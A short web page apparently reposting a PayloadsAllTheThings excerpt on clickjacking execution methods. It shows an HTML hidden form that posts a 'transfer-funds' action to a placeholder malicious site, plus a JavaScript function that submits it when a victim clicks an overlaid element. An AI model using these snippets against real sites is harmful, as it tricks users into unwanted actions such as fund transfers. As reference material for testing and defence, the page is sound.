Clickjacking: Execution Methods

ClickjackingExploitation

From PayloadsAllTheThings by Swissky and contributors, under the MIT licence. Shown as written; the title and classification are ours. Licences. Its authors can have this tip removed by writing to abuse@bugbountytips.org.

  • Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.

html
  <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
  <input type="hidden" name="username" value="attacker">
  <input type="hidden" name="action" value="transfer-funds">
  </form>
  • Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.

js
  function submitForm() {
    document.getElementById('hidden-form').submit();
  }

Comments

No comments yet.